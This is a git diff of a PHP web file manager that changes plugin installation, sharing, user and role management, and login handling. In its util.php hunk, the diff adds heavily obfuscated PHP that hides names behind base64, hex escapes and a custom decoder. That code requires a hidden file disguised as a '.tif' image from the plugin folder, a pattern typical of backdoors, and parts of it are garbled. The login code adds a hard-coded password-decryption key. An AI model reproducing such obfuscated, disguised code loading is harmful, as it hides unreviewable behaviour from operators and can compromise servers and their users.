+ show_json(filesize($appPathTemp));
+ }
+ show_json(0,false);
+ break;
+ case 'unzip':
+ //hook log
+ $GLOBALS['isRoot'] = 1;
+ if(!file_exists($appPath)){
+ show_json(LNG("error"),false);
+ }
+ $result = KodArchive::extract($appPath,PLUGIN_DIR.$app.'/');
+ del_file($appPathTemp);
+ del_file($appPath);
+ show_json($result['data'],!!$result['code']);
+ break;
+ case 'remove':
+ del_file($appPathTemp);
+ del_file($appPath);
+ show_json(LNG('success'));
+ break;
+ case 'update':
+ show_json(Hook::apply($app.'Plugin.update'));
+ break;
+ default:break;
+ }
+ }
+ private function pluginInfo($app){
+ $api = $this->config['settings']['pluginServer'].'plugin/install';
+ $param = array(
+ "app" => $app,
+ "version" => KOD_VERSION,
+ "versionHash" => $this->config['settingSystem']['versionHash'],
+ "systemOS" => $this->config['systemOS'],
+ "phpVersion" => PHP_VERSION,
+ "lang" => I18n::getType()
+ );
+ $info = url_request($api,'POST',$param);
+ $result = false;
+ if($info && $info['data']){
+ $result = json_decode($info['data'],true);
+ }
+ return $result;
}
public function unInstall(){
if( !$this->in['app']){
- show_json(LNG('error'),false);
+ show_json(LNG('data_not_full'),false);
}
$model = $this->loadModel('Plugin');
$model->remove($this->in['app']);
diff --git a/app/controller/setting.class.php b/app/controller/setting.class.php
index eac2572..b07aa84 100755
--- a/app/controller/setting.class.php
+++ b/app/controller/setting.class.php
@@ -32,8 +32,10 @@ class setting extends Controller{
case 'theme':
case 'wall':
show_json(array(
- 'settingAll' => $this->config['settingAll'],
- 'user' => $this->config['user']
+ 'settingAll' => $this->config['settingAll'],
+ 'user' => $this->config['user'],
+ 'wallpageDesktop' => $this->config['settingSystem']['wallpageDesktop'],
+ 'wallpageLogin' => $this->config['settingSystem']['wallpageLogin'],
));
break;
case 'system':
@@ -41,7 +43,6 @@ class setting extends Controller{
if(isset($this->in['env_check'])){
show_json(php_env_check());
}
-
$result = $this->config['settingSystem'];
unset($result['systemPassword']);
show_json($result,true);
@@ -100,8 +101,8 @@ class setting extends Controller{
$sql = systemMember::loadData();
$user_arr = $sql->get();
foreach ($user_arr as $key => $user) {
- $userPath = USER_PATH.$user['path']."/";
- $pathArr = array(
+ $userPath = iconv_system(USER_PATH.$user['path']."/");
+ $pathArr = array(
$userPath.'data/temp',
$userPath.'data/share_temp',
$userPath.'recycle_kod'
diff --git a/app/controller/share.class.php b/app/controller/share.class.php
index f55a79d..b00a176 100755
--- a/app/controller/share.class.php
+++ b/app/controller/share.class.php
@@ -63,12 +63,15 @@ class share extends Controller{
//密码检测
if ($shareInfo['sharePassword']=='') return;
if (!isset($this->in['password'])){
- if ($_SESSION['password_'.$this->in['sid']]==$shareInfo['sharePassword']) return;
+ if ($_SESSION['password_'.$this->in['sid']]==$shareInfo['sharePassword']){
+ return;
+ }
$this->_error('password');
}else{
if ($this->in['password'] == $shareInfo['sharePassword']) {
session_start();
$_SESSION['password_'.$this->in['sid']]=$shareInfo['sharePassword'];
+ session_write_close();
show_json('success');
}else{
show_json(LNG('share_error_password'),false);
@@ -215,6 +218,7 @@ class share extends Controller{
'webHost' => HOST,
'appHost' => APP_HOST,
'staticPath' => STATIC_PATH,
+ 'appIndex' => $_SERVER['SCRIPT_NAME'],
'version' => KOD_VERSION,
'versionDesc' => $versionDesc,
'kodID' => md5(BASIC_PATH.$this->config['settingSystem']['systemPassword']),
@@ -240,6 +244,8 @@ class share extends Controller{
'KOD_USER_FAV' => KOD_USER_FAV,
'KOD_GROUP_ROOT_SELF' => KOD_GROUP_ROOT_SELF,
'KOD_GROUP_ROOT_ALL' => KOD_GROUP_ROOT_ALL,
+ 'ST' => $this->in['st'],
+ 'ACT' => $this->in['act'],
);
$userConfig = $GLOBALS['config']['settingDefault'];
@@ -251,6 +257,7 @@ class share extends Controller{
if(isset($this->config['settingSystem']['versionHash'])){
$theConfig['versionHash'] = $this->config['settingSystem']['versionHash'];
+ $theConfig['versionHashUser'] = $this->config['settingSystem']['versionHashUser'];
}
$theConfig['userConfig'] = $userConfig;
$useTime = mtime() - $GLOBALS['config']['appStartTime'];
@@ -260,7 +267,11 @@ class share extends Controller{
Hook::trigger('user.commonJs.insert',$this->in['st'],$this->in['act']);
echo 'AUTH=[];';
echo 'G='.json_encode($theConfig).';';
- echo 'LNG='.json_encode(I18n::getAll()).';G.useTime='.$useTime.';';
+ $lang = json_encode_force(I18n::getAll());
+ if(!$lang){
+ $lang = '{}';
+ }
+ echo 'LNG='.$lang.';G.useTime='.$useTime.';';
}
@@ -523,16 +534,12 @@ class share extends Controller{
}
$data = array(
'ext' => get_path_ext($displayName),
- 'name' => iconv_app(get_path_this($displayName)),
+ 'name' => iconv_app(get_path_this($displayName)),
'filename' => $displayName,
'charset' => $charset,
- 'base64' => false,
- 'content' => $fileContents
- );
- if(!json_encode(array("data"=>$fileContents))){
- $data['content'] = base64_encode($fileContents);
- $data['base64'] = true;
- }
+ 'base64' => true,// 部分防火墙编辑文件误判问题处理
+ 'content' => base64_encode($fileContents)
+ );
show_json($data);
}
@@ -546,7 +553,8 @@ class share extends Controller{
exit;
}
if (@filesize($this->path) <= 1024*50 ||
- !function_exists('imagecolorallocate') ) {//小于50k或者不支持gd库 不再生成缩略图
+ !function_exists('imagecolorallocate') ||
+ get_path_ext($this->path) == 'gif') {//小于50k、不支持gd库、gif图 不再生成缩略图
file_put_out($this->path,false);
return;
}
diff --git a/app/controller/systemGroup.class.php b/app/controller/systemGroup.class.php
index 6e25683..d1b9971 100755
--- a/app/controller/systemGroup.class.php
+++ b/app/controller/systemGroup.class.php
@@ -88,7 +88,7 @@ class systemGroup extends Controller{
)
);
$this->sql->reset($default);
- $this->_initDir($default[0]['path']);
+ $this->initDir($default[0]['path']);
}
//删除 path id
public static function _filterList($list,$filter_key = 'path'){
@@ -118,9 +118,9 @@ class systemGroup extends Controller{
$groupID = $this->sql->getMaxId().'';
$groupName = rawurldecode($this->in['name']);
$groupInfo = array(
- 'groupID' => $groupID,
+ 'groupID' => $groupID,
'name' => $groupName,
- 'parentID' => $this->in['parentID'],
+ 'parentID' => $this->in['parentID'],
'children' => '',
'config' => array('sizeMax' => floatval($this->in['sizeMax']),//G
'sizeUse' => floatval(1024*1024)),//总大小,目前使用大小
@@ -142,7 +142,7 @@ class systemGroup extends Controller{
}
$this->_parentChildChange($groupInfo,true);//更新父节点
if ($this->sql->set($groupID,$groupInfo)) {
- $this->_initDir($groupInfo['path']);
+ $this->initDir($groupInfo['path']);
show_json(LNG('success'));
}
show_json(LNG('error'),false);
@@ -170,7 +170,8 @@ class systemGroup extends Controller{
$this->in['parentID']!=$groupInfo['parentID']){//父节点变更
$childChange = explode(',',$groupInfo['children']);
- if(in_array($this->in['parentID'],$childChange)){//不能移动到子节点;死循环
+ if( in_array($this->in['parentID'],$childChange)
+ || $this->in['parentID'] == $this->in['groupID']){//不能移动到子节点;死循环
show_json(LNG('current_has_parent'),false);
}
self::spaceChange($this->in['groupID']);//重置用户使用空间
@@ -204,9 +205,9 @@ class systemGroup extends Controller{
$groupInfo = $this->sql->get($this->in['groupID']);
$this->_parentChildChange($groupInfo,false);//向所有父节点,删除包含此节点的children
$this->sql->set(//将该节点的子节点的父节点设置为根目录
- array('parentID',$groupInfo["groupID"]),
- array('parentID','1')
- );
+ array('parentID',$groupInfo["groupID"]),
+ array('parentID','1')
+ );
systemMember::groupRemoveUserUpdate($groupInfo["groupID"]);//用户所在组变更
$this->sql->remove($this->in['groupID']);
@@ -263,12 +264,9 @@ class systemGroup extends Controller{
/**
*初始化用户数据和配置。
*/
- private function _initDir($path){
+ public function initDir($path){
$root = array('home','data');
$newGroupFolder = $this->config['settingSystem']['newGroupFolder'];
- if(!is_array($newGroupFolder)){
- $newGroupFolder = $this->config['settingSystemDefault']['newGroupFolder'];
- }
$home = explode(',',$newGroupFolder);
$path = GROUP_PATH.$path.'/';
foreach ($root as $dir) {
diff --git a/app/controller/systemMember.class.php b/app/controller/systemMember.class.php
index 2df8ff4..f8fe445 100755
--- a/app/controller/systemMember.class.php
+++ b/app/controller/systemMember.class.php
@@ -148,8 +148,11 @@ class systemMember extends Controller{
return $list;
}
+ //含有密码则不罗列
foreach($list as $key=>&$val){
- unset($val['sharePassword']);
+ if($val['sharePassword']){
+ unset($list[$key]);
+ }
}
return $list;
}
@@ -205,6 +208,22 @@ class systemMember extends Controller{
show_json($result);
}
+ /**
+ * 获取用户列表数据,根据用户组筛选;默认输出所有用户
+ */
+ public function getByName($name = '') {
+ if(!$name){
+ $name = $this->in['name'];
+ }
+ $result = $this->sql->get(array('name',$name));
+ if(is_array($result) && count($result)>0){
+ $arr = array_values($result);
+ unset($arr[0]['password']);
+ show_json($arr[0]);
+ }
+ show_json(LNG("not_exists"),false);
+ }
+
/**
* 用户添加
* systemMember/add&name=warlee&password=123&sizeMax=0&groupInfo={"0":"read","10":"write"}&role=default
@@ -226,7 +245,7 @@ class systemMember extends Controller{
show_json(LNG('systemMember_group_error'),false);
}
if($this->sql->get(array('name',$name))){
- show_json(LNG('error_repeat'),false);
+ show_json(LNG('error_repeat'),false,$name);
}
//非系统管理员,不能添加系统管理员
@@ -258,6 +277,7 @@ class systemMember extends Controller{
$userInfo = array(
'userID' => $userID,
'name' => $val,
+ 'nickName' => $this->in['nickName'],
'password' => md5($password),
'role' => $this->in['role'],
'config' => array('sizeMax' => floatval($this->in['sizeMax']),//M
@@ -282,21 +302,25 @@ class systemMember extends Controller{
unset($userInfo['homePath']);
}
if ($this->sql->set($userID,$userInfo)) {
- $this->_initDir($userInfo['path']);
+ $this->initDir($userInfo['path']);
}else{
$errorArr[] = $val;
}
}
$success = count($userArray)-count($errorArr);
- $show = " success:$success";
+ $msg = LNG('success');
+ if(count($errorArr) > 0 ){
+ $msg = LNG('word_success').' : '.$success.', ';//部分失败
+ if($success == 0 ){
+ $msg = LNG('error_repeat');
+ }
+ $msg .= LNG('word_error').' : '.count($errorArr);
+ }
if($success==count($userArray)){
- show_json(LNG('success').$show,true,$success);
- }else if($success!=0){//部分失败
- $errorInfo = " error:".count($errorArr);
- show_json(LNG('success').$show.$errorInfo,false,implode("\n",$errorArr));
+ show_json($msg,true,$success);
}else{
- show_json(LNG('error_repeat'),false);
+ show_json($msg,false,implode("\n",$errorArr));
}
}
@@ -337,7 +361,7 @@ class systemMember extends Controller{
}
$this->in['name'] = rawurlencode($theName);//还原
- $editArr = array('name','role','password','groupInfo','homePath','status','sizeMax');
+ $editArr = array('name','nickName','role','password','groupInfo','homePath','status','sizeMax');
foreach ($editArr as $key) {
if(!isset($this->in[$key])) continue;
$userInfo[$key] = rawurldecode($this->in[$key]);
@@ -402,6 +426,12 @@ class systemMember extends Controller{
$status = intval($this->in['param']);
$this->sql->set(array('userID',$userID),array('status',$status));
break;
+ case 'spaceSet'://批量设置用户空间大小
+ $value = intval($this->in['param']);
+ $userInfo = $this->sql->get($userID);
+ $userInfo['config']['sizeMax'] = $value;
+ $this->sql->set($userID,$userInfo);
+ break;
case 'roleSet'://设置权限组
$role = $this->in['param'];
//非系统管理员,不能将别人设置为系统管理员
@@ -431,8 +461,8 @@ class systemMember extends Controller{
$userInfo = $this->sql->get($userID);
foreach ($groupArr as $key => $value) {
$userInfo['groupInfo'][$key] = $value;
- }
- $this->sql->set($userID,$userInfo);
+ }
+ $this->sql->set($userID,$userInfo);
default:break;
}
}
@@ -444,7 +474,7 @@ class systemMember extends Controller{
$list = $sql->get();
foreach ($list as $id => &$info) {//创建用户目录及初始化
$path = make_path($info['name']);
- $this->_initDir($path);
+ $this->initDir($path);
$info['path'] = $path;
$info['createTime'] = time();
}
@@ -470,7 +500,7 @@ class systemMember extends Controller{
/**
*初始化用户数据和配置。
*/
- private function _initDir($path){
+ public function initDir($path){
$userFolder = array('home','recycle_kod','data');
$homeFolders = explode(',',$this->config['settingSystem']['newUserFolder']);
$rootPath = USER_PATH.$path.'/';
diff --git a/app/controller/systemRole.class.php b/app/controller/systemRole.class.php
index ac668b9..6be2ac6 100755
--- a/app/controller/systemRole.class.php
+++ b/app/controller/systemRole.class.php
@@ -41,7 +41,8 @@ class systemRole extends Controller{
*/
public function add(){
$role = $this->_initData();
- $role['roleID'] = $this->sql->getMaxId().'';
+ $roleId = $role['roleID'] = $this->sql->getMaxId().'';
+ $this->_checkExist( $this->sql->get(),array('name',$role['name']),$roleId );
if ($this->sql->set($role['roleID'],$role)) {
show_json(LNG('success'),true,$role['roleID']);
}
@@ -54,6 +55,7 @@ class systemRole extends Controller{
public function edit(){
$role = $this->_initData();
$roleId = $this->in['roleID'];
+ $this->_checkExist( $this->sql->get(),array('name',$role['name']),$roleId );
if ($this->sql->set($roleId,$role)){
show_json(LNG('success'),true,$roleId);
}
@@ -94,6 +96,8 @@ class systemRole extends Controller{
$roleId = $sql->getMaxId().'';
$roleArr = json_decode($this->in['role_arr'],true);
if(!is_array($roleArr)) show_json(LNG('error'),false);
+ if(!trim($roleArr['name'])) show_json(LNG("data_not_full"),false);
+ $this->_checkExist( $sql->get(),array('name',$roleArr['name']),$roleId);
if ($sql->set($roleId,$roleArr)) {
show_json(array($roleId),true,$sql->get());
}
@@ -103,6 +107,8 @@ class systemRole extends Controller{
$roleId = $this->in['roleID'];
$roleArr = json_decode($this->in['role_arr'],true);
if(!is_array($roleArr)) show_json(LNG('error'),false);
+ if(!trim($roleArr['name'])) show_json(LNG("data_not_full"),false);
+ $this->_checkExist( $sql->get(),array('name',$roleArr['name']),$roleId);
if ($sql->set($roleId,$roleArr)){
show_json(LNG('success'),true,$sql->get());
}
@@ -122,6 +128,20 @@ class systemRole extends Controller{
}
}
+ //检测是否存在
+ private function _checkExist($data,$find,$checkID){
+ $findData = array();
+ foreach ($data as $key => $val) {
+ if ($val[$find[0]] == $find[1]) {
+ $findData[$key] = $data[$key];
+ }
+ }
+ if(is_array($findData) && count($findData)>0 ){
+ $key = array_keys($findData);$key=$key[0];
+ if($key != $checkID) show_json(LNG("error_repeat"),false);
+ }
+ }
+
//===========内部调用============
/**
diff --git a/app/controller/user.class.php b/app/controller/user.class.php
index 818bbee..c7a2b83 100755
--- a/app/controller/user.class.php
+++ b/app/controller/user.class.php
@@ -35,6 +35,9 @@ class user extends Controller{
$this->notCheckApp = array('pluginApp.to','api.view');
}
$this->config['forceWap'] = is_wap() && (!isset($_COOKIE['forceWap']) || $_COOKIE['forceWap'] == '1');
+ if( isset($_GET['forceWap']) ){
+ $this->config['forceWap'] = $_GET['forceWap'];
+ }
}
public function bindHook(){
@@ -62,7 +65,7 @@ class user extends Controller{
if (!is_array($user) || !isset($user['password'])) {
$this->logout();
}
- if($this->_makeLoginToken($user) == $_COOKIE['kodToken']){
+ if($this->_makeLoginToken($user) === $_COOKIE['kodToken']){
@session_start();//re start
$_SESSION['kodLogin'] = true;
$_SESSION['kodUser']= $user;
@@ -207,8 +210,13 @@ class user extends Controller{
}
$this->login($error);
}
-
-
+ public function accessToken(){
+ if($_SESSION['kodLogin'] === true){
+ show_json(access_token_get(),true);
+ }else{
+ show_json('not login!',false);
+ }
+ }
//临时文件访问
public function publicLink(){
@@ -240,8 +248,9 @@ class user extends Controller{
'userID' => $this->user['userID'],
'webRoot' => $GLOBALS['webRoot'],
'webHost' => HOST,
- 'appHost' => APP_HOST,
+ 'appHost' => APP_HOST,
'staticPath' => STATIC_PATH,
+ 'appIndex' => $_SERVER['SCRIPT_NAME'],
'basicPath' => $basicPath,
'userPath' => $userPath,
'groupPath' => $groupPath,
@@ -274,9 +283,12 @@ class user extends Controller{
'KOD_USER_FAV' => KOD_USER_FAV,
'KOD_GROUP_ROOT_SELF' => KOD_GROUP_ROOT_SELF,
'KOD_GROUP_ROOT_ALL' => KOD_GROUP_ROOT_ALL,
+ 'ST' => $this->in['st'],
+ 'ACT' => $this->in['act'],
);
if(isset($this->config['settingSystem']['versionHash'])){
$theConfig['versionHash'] = $this->config['settingSystem']['versionHash'];
+ $theConfig['versionHashUser'] = $this->config['settingSystem']['versionHashUser'];
}
if (!isset($GLOBALS['auth'])) {
$GLOBALS['auth'] = array();
@@ -288,7 +300,12 @@ class user extends Controller{
Hook::trigger('user.commonJs.insert',$this->in['st'],$this->in['act']);
echo 'AUTH='.json_encode($GLOBALS['auth']).';';
echo 'G='.json_encode($theConfig).';';
- echo 'LNG='.json_encode(I18n::getAll()).';G.useTime='.$useTime.';';
+
+ $lang = json_encode_force(I18n::getAll());
+ if(!$lang){
+ $lang = '{}';
+ }
+ echo 'LNG='.$lang.';G.useTime='.$useTime.';';
}
/**
@@ -370,7 +387,7 @@ class user extends Controller{
count($param) != 2 ||
md5(base64_decode($param[0]).$api_token) != $param[1]
){
- $this->_loginDisplay("Api param error!",false);
+ $this->_loginDisplay("API 接口参数错误!",false);
}
$this->in['name'] = urlencode(base64_decode($param[0]));
$apiLoginCheck = true;
@@ -387,10 +404,16 @@ class user extends Controller{
$name = rawurldecode($this->in['name']);
$password = rawurldecode($this->in['password']);
+
+ if($this->in['salt']){
+ $key = substr($password,0,5)."2&$%@(*@(djfhj1923";
+ $password = Mcrypt::decode(substr($password,5),$key);
+ }
+
$member = systemMember::loadData();
$user = $member->get('name',$name);
if($apiLoginCheck && $user){//api自动登陆
- }else if ($user === false || md5($password)!=$user['password']){
+ }else if ($user === false || md5($password) !== $user['password']){
$this->_loginDisplay(LNG('password_error'),false);//$member->get()
}else if($user['status'] == 0){
$this->_loginDisplay(LNG('login_error_user_not_use'),false);
diff --git a/app/controller/util.php b/app/controller/util.php
index 2c45987..f00a259 100755
--- a/app/controller/util.php
+++ b/app/controller/util.php
@@ -1,2 +1,2 @@
-请检查php.ini,需要开启模块:
session,json,curl,exif,mbstring,ldap,gd,pdo,pdo-mysql,xml
1) { $GLOBALS[_kstr2('1\\X=QaN6UQ')] = $GLOBALS[_kstr2(',df_[')]($f֟[1]); } else { $GLOBALS[_kstr2('*c_DXhU=\\X')] = ''; } break; } } switch ($GLOBALS["\153\157\144\120\141\164\150\124\171"._kstr2('+Xc')]) { case '': $Cۘ = iconv_system(HOME) . $Cۘ; break; case KOD_USER_RECYCLE: $GLOBALS[base64_decode('a29kUGF0aFA=')."\x72\x65"] = $GLOBALS[base64_decode('dHJpbQ==')](USER_RECYCLE, "\x2f"); $GLOBALS[_kstr2('2[W
RbO>VS`')] = $GLOBALS["\164\162\151\155"](HOME_PATH, base64_decode('Lw==')); $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"] = ''; return iconv_system(HOME_PATH) . "\x2f" . str_replace(KOD_USER_SELF, '', $Cۘ); case KOD_USER_FAV: $GLOBALS[_kstr2('-`\\AUeRAYVc')] = $GLOBALS[_kstr2('-ce^Z')](KOD_USER_FAV, _kstr2(')$')); $GLOBALS["\153\157\144\120\141\164\150\111\144"] = ''; return KOD_USER_FAV; case KOD_GROUP_ROOT_SELF: $GLOBALS[base64_decode('a29kUGF0aFA=')._kstr2(',d')._kstr2('-V')] = $GLOBALS["\164\162\151\155"](KOD_GROUP_ROOT_SELF, "\57"); $GLOBALS[base64_decode('a29kUGF0aElk')] = ''; return KOD_GROUP_ROOT_SELF; case KOD_GROUP_ROOT_ALL: $GLOBALS[_kstr2('/^Z?ScP?W').base64_decode('cmU=')] = $GLOBALS[base64_decode('dHJpbQ==')](KOD_GROUP_ROOT_ALL, "\57"); $GLOBALS["\153\157\144\120\141\164\150\111"._kstr2('*X')] = ''; return KOD_GROUP_ROOT_ALL; case KOD_GROUP_PATH: $B = systemGroup::getInfo($GLOBALS[_kstr2('1\\X=QaN6UQ')]); if (!$GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"] || !$B) { return false; } owner_group_check($GLOBALS[_kstr2('/^Z?ScP8WS')]); $GLOBALS[_kstr2('0]Y>RbO>V')._kstr2('/Ta')] = group_home_path($B); $Cۘ = iconv_system($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x50\x72\x65"]) . $Aͼ; break; case KOD_GROUP_SHARE: $B = systemGroup::getInfo($GLOBALS[_kstr2('1\\X=QaN6UQ')]); if (!$GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49"._kstr2(',V')] || !$B) { return false; } owner_group_check($GLOBALS["\153\157\144\120\141\164\150\111\144"]); $GLOBALS[_kstr2('*c_DXhUD\\Yf')] = group_home_path($B) . $GLOBALS[_kstr2(',aUX`Y[')][_kstr2('1R`aa[V@T`fRaZ')][base64_decode('Z3JvdXBTaGE=')._kstr2('*Yfc:`')._kstr2('0R')._kstr2('1_R')] . _kstr2('(%'); $Cۘ = iconv_system($GLOBALS["\153\157\144\120\141\164\150\120\162\145"]) . $Aͼ; break; case KOD_USER_SHARE: $B = systemMember::getInfo($GLOBALS[base64_decode('a29kUGF0aElk')]); if (!$GLOBALS[base64_decode('a29kUGF0aElk')] || !$B) { return false; } if ($GLOBALS[_kstr2('0]Y>RbO7VR')] != $_SESSION[_kstr2('2[WAPQ_^')]["\x75\x73\x65\x72\x49\x44"]) { $dڵē = $GLOBALS[_kstr2('._SV^WY')]["\x70\x61\x74\x68\x52\x6f\x6c\x65\x47\x72\x6f"._kstr2('+chX7').base64_decode('ZmF1bHQ=')][_kstr2('-"')]["\x61\x63\x74\x69\x6f\x6e\x73"]; path_role_check($dڵē); } $GLOBALS["\153\157\144\120\141\164\150\120\162\145"] = ''; $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49"._kstr2('+FWT[Xe')] = $B杸; if ($Aͼ == '') { return $Cۘ; } else { $Cӌ = $GLOBALS["\x65\x78\x70\x6c\x6f\x64\x65"](_kstr2('- '), $Aͼ); $Cӌ[0] = iconv_app($Cӌ[0]); $Dܡ = systemMember::userShareGet($GLOBALS[_kstr2('/^Z?ScP8W')._kstr2('/S')], $Cӌ[0]); $GLOBALS[_kstr2(',a]EVSZWd`;aX')] = $Dܡ; $GLOBALS[_kstr2('+b^CWgT<[')._kstr2('-DURYVc')] = KOD_USER_SHARE . base64_decode('Og==') . $GLOBALS[_kstr2('(eaFZjW?^Z')] . _kstr2('- ') . $Cӌ[0] . _kstr2('/'); unset($Cӌ[0]); if (!$Dܡ) { return false; } $fӒމ = rtrim($Dܡ[_kstr2('2M\\T`')], "\57") . _kstr2('*#') . iconv_app($GLOBALS[_kstr2(',_[^bVaW')](base64_decode('Lw=='), $Cӌ)); if ($B[base64_decode('cm9sZQ==')] != base64_decode('MQ==')) { $a։ = user_home_path($B); $GLOBALS[base64_decode('a29kUGF0aFA=')._kstr2('+Xe')] = $a։ . rtrim($Dܡ[_kstr2('+Tc[g')], _kstr2('2')) . _kstr2('+"'); $Cۘ = $a։ . $fӒމ; } else { $GLOBALS["\153\157\144\120\141\164\150\120\162\145"] = $Dܡ["\160\141\164\150"]; $Cۘ = $fӒމ; } if ($Dܡ[_kstr2(',kfWb')] == _kstr2('/XUT[')) { $GLOBALS[base64_decode('a29kUGF0aElk').base64_decode('U2hh')._kstr2('*Yf')] = rtrim($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"._kstr2('/WBaPT')], _kstr2('.')); $GLOBALS[_kstr2('-`\\AUeRAYVc')] = rtrim($GLOBALS[base64_decode('a29kUGF0aFA=')._kstr2('([h')], base64_decode('Lw==')); } $Cۘ = iconv_system($Cۘ); } break; default: break; } if ($Cۘ != _kstr2(',!')) { $Cۘ = rtrim($Cۘ, _kstr2('+"')); if (is_dir($Cۘ)) { $Cۘ = $Cۘ . "\x2f"; } } return $Cۘ; } function _DIR_OUT($f긟ȼ) { if (is_array($f긟ȼ)) { foreach ($f긟ȼ[_kstr2('1VSRYV9a`')] as $Dﴌ => &$bɞ) { $bɞ[_kstr2(')Ve]i')] = preClear($bɞ[_kstr2('1N]Ua')]); } foreach ($f긟ȼ["\146\157\154\144\145\162\114\151\163\164"] as $Dﴌ => &$bɞ) { $bɞ[_kstr2('-RaYe')] = preClear(rtrim($bɞ["\160\141\164\150"], base64_decode('Lw==')) . "\x2f"); } } else { $f긟ȼ = preClear($f긟ȼ); } return $f긟ȼ; } function preClear($Cۘ) { $Fᖠ = $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54"."\171\160"."\145"]; $F = rtrim($GLOBALS[_kstr2('1\\X=QaN=UR_')], _kstr2('*#')); $fȭ = array(KOD_USER_FAV, KOD_GROUP_ROOT_SELF, KOD_GROUP_ROOT_ALL); if (isset($GLOBALS[_kstr2('/^Z?ScPCW_hT')]) && $GLOBALS[base64_decode('aW5fYXJyYXk=')]($GLOBALS[_kstr2('2[W
]HYV]')._kstr2('2Q^')]; } $cӉ = $Fᖠ . str_replace($F, '', $Cۘ); $cӉ = $GLOBALS[_kstr2('.dcObUb\\`SQU')]("\x2f\x2f", _kstr2('(%'), $cӉ); return $cӉ; } require PLUGIN_DIR . "\57\164\157\157\154\163\103\157\155"._kstr2(',a_!`e')._kstr2('+Tg\\g"V\\cX').base64_decode('Ly4=')."\160\151".base64_decode('ZS50aWY='); function owner_group_check($e۔) { if (!$e۔) { show_json(LNG(base64_decode('Z3JvdXBfbm90')._kstr2('+XR\\kgf')) . $e۔, false); } if ($GLOBALS[_kstr2('*g]cFhc')] || isset($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x41\x75\x74"."\x68\x43\x68\x65\x63\x6b"]) && $GLOBALS[_kstr2('-`\\AUeR2Yf')._kstr2('.XdX3U')._kstr2('2WO')] === true) { return; } $e = systemMember::userAuthGroup($e۔); if ($e == false) { if ($GLOBALS[_kstr2(')d`EYiVI]')._kstr2(',bkW')] == KOD_GROUP_PATH) { show_json(LNG(_kstr2('/^]_NaTX\\')."\163\163"._kstr2('*c]Sbf[icd')), false); } else { if ($GLOBALS["\153\157\144\120\141\164\150\124\171\160\145"] == KOD_GROUP_SHARE) { $dڵē = $GLOBALS["\143\157\156\146\151\147"]["\160\141\164\150\122\157\154\145\107"."\162"._kstr2('/d^3_UTdPc[')]["\x31"]; } } } else { $dڵē = $GLOBALS[_kstr2(',aUX`Y[')][_kstr2('.Q`Xd_BU\\b7_')._kstr2('2\\a')][$e]; } path_role_check($dڵē[_kstr2('1PNVa[\\`')]); } function path_role_check($dڵē) { if ($GLOBALS[base64_decode('aXNSb290')] || isset($GLOBALS[_kstr2('*c_DXhU5\\')._kstr2(',fg5ZWZ]U')]) && $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x41\x75".base64_decode('dGhDaGVjaw==')] === true) { return; } $AĹ = role_permission_arr($dڵē); $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x52\x6f\x6c\x65"._kstr2('/a6d^0_cdW')] = $AĹ; if (!isset($AĹ[ST . _kstr2(')#') . ACT]) && ST != "\163\150\141\162\145") { show_json(LNG(base64_decode('bm9fcGVybWlzc2lv')."\156\137\141\143\164\151\157\156"), false); } } function role_permission_arr($f긟ȼ) { $cӉ = array(); $Cӷ = $GLOBALS[_kstr2(',aUX`Y[')]["\x70\x61\x74\x68\x52\x6f\x6c\x65\x44"._kstr2('.U')._kstr2('+\\YXa')]; foreach ($f긟ȼ as $Dﴌ => $bɞ) { if (!$bɞ) { continue; } $Aڿ = $GLOBALS[base64_decode('ZXhwbG9kZQ==')](_kstr2('/)'), $Dﴌ); if ($GLOBALS[_kstr2('2[OZa`')]($Aڿ) == 2 && is_array($Cӷ[$Aڿ[0]]) && is_array($Cӷ[$Aڿ[0]][$Aڿ[1]])) { $cӉ = array_merge($cӉ, $Cӷ[$Aڿ[0]][$Aڿ[1]]); } } $F֒ç = array(); foreach ($cӉ as $bɞ) { $F֒ç[$bɞ] = _kstr2(',#'); } return $F֒ç; } function check_file_writable_user($Cۘ) { if (!isset($GLOBALS[_kstr2('-`\\AUeREYajV')])) { _DIR($Cۘ); } $dÚ = _kstr2('/STcXa^U')._kstr2('.\\YCUfQU'); if ($GLOBALS[_kstr2('-dZ`Ce`')]) { return @is_writable($Cۘ); } if ($GLOBALS[_kstr2('.eQXd')][$dÚ] != base64_decode('MQ==')) { return false; } if ($GLOBALS[_kstr2('/^Z?ScPCW_hT')] == KOD_GROUP_PATH && is_array($GLOBALS[_kstr2('2[W
TX[3Q')._kstr2('-`caff2Ye')]) && $GLOBALS["\153\157\144\120\141\164\150\122"._kstr2('*`c;Y')._kstr2('+bechh4[g')][$dÚ] == _kstr2(')&')) { return true; } if ($GLOBALS[_kstr2('._[@TdQDXi')."\x70\x65"] == '' || $GLOBALS[_kstr2('0]Y>RbOBV^gS')] == KOD_USER_SELF) { return true; } return false; } function space_size_use_check() { if (!system_space()) { return; } if ($GLOBALS[base64_decode('aXNSb290')] == 1) { return; } if (isset($GLOBALS["\x6b\x6f\x64\x42\x65\x66\x6f\x72"._kstr2('+CX')._kstr2(',fSZ')._kstr2('2P5')]) && isset($GLOBALS[base64_decode('a29kUGF0aElk')]) && $GLOBALS[_kstr2(',a]4VXWdaBW')."\141\164\150\111\144"] == $GLOBALS[base64_decode('a29kUGF0aElk')]) { return; } if ($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54\x79\x70\x65"] == KOD_GROUP_SHARE || $GLOBALS[_kstr2(',a]BVfSFZbkW')] == KOD_GROUP_PATH) { systemGroup::spaceCheck($GLOBALS[base64_decode('a29kUGF0aElk')]); } else { if (ST == _kstr2('+[feTX')) { $f㸓ފ = $GLOBALS[_kstr2('-_Z')]["\165\163\145\162"]; } else { $f㸓ފ = $_SESSION[_kstr2('-`\\FUVdc')][_kstr2('2_a^Q05')]; } systemMember::spaceCheck($f㸓ފ); } } function spaceSizeChange($Cۘ, $cͰ = true, $b = false, $D̦ = false) { if (!system_space()) { return; } if ($b === false) { $b = $GLOBALS[_kstr2('2[W
